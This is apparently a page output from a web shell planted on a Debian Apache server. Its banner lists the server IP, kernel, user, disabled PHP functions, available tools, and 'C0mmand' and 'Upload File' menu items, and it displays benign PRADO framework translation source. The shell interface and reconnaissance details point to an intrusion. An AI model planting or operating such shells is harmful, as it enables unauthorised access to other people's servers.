|
Server IP : 10.2.73.233 / Your IP : 216.73.216.223 Web Server : Apache/2.4.59 (Debian) System : Linux polon 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64 User : www-data ( 33) PHP Version : 5.6.40-64+0~20230107.71+debian10~1.gbp673146 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/ifk/web.back/framework/3rdParty/../I18N/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
/**
* Translation, static.
*
* @author Wei Zhuo <weizhuo[at]gmail[dot]com>
* @link http://www.pradosoft.com/
* @copyright Copyright © 2005-2014 PradoSoft
* @license http://www.pradosoft.com/license/
* @package System.I18N
*/
/**
* Get the MessageFormat class.
*/
Prado::using('System.I18N.core.MessageFormat');
/**
* Translation class.
*
* Provides translation using a static MessageFormatter.
*
* @author Xiang Wei Zhuo <weizhuo[at]gmail[dot]com>
* @version v1.0, last update on Tue Dec 28 11:54:48 EST 2004
* @package System.I18N
*/
class Translation extends TComponent
{
/**
* The array of formatters. We define 1 formatter per translation catalog
* This is a class static variable.
* @var array
*/
protected static $formatters=array();
/**
* Initialize the TTranslate translation components
*/
public static function init($catalogue='messages')
{
static $saveEventHandlerAttached=false;
//initialized the default class wide formatter
if(!isset(self::$formatters[$catalogue]))
{
$app = Prado::getApplication()->getGlobalization();
$config = $app->getTranslationConfiguration();
$source = MessageSource::factory($config['type'],
$config['source'],
$config['filename']);
$source->setCulture($app->getCulture());
if(TPropertyValue::ensureBoolean($config['cache']))
$source->setCache(new MessageCache($config['cache']));
self::$formatters[$catalogue] = new MessageFormat($source, $app->getCharset());
//mark untranslated text
if($ps=$config['marker'])
self::$formatters[$catalogue]->setUntranslatedPS(array($ps,$ps));
//save the message on end request
// Do it only once !
if(!$saveEventHandlerAttached && TPropertyValue::ensureBoolean($config['autosave']))
{
Prado::getApplication()->attachEventHandler(
'OnEndRequest', array('Translation', 'saveMessages'));
$saveEventHandlerAttached=true;
}
}
}
/**
* Get the static formatter from this component.
* @return MessageFormat formattter.
* @see localize()
*/
public static function formatter($catalogue='messages')
{
return self::$formatters[$catalogue];
}
/**
* Save untranslated messages to the catalogue.
*/
public static function saveMessages()
{
static $onceonly = true;
if($onceonly)
{
foreach (self::$formatters as $catalogue=>$formatter)
{
$app = Prado::getApplication()->getGlobalization();
$config = $app->getTranslationConfiguration();
if(isset($config['autosave']))
{
$formatter->getSource()->setCulture($app->getCulture());
$formatter->getSource()->save($catalogue);
}
}
$onceonly = false;
}
}
}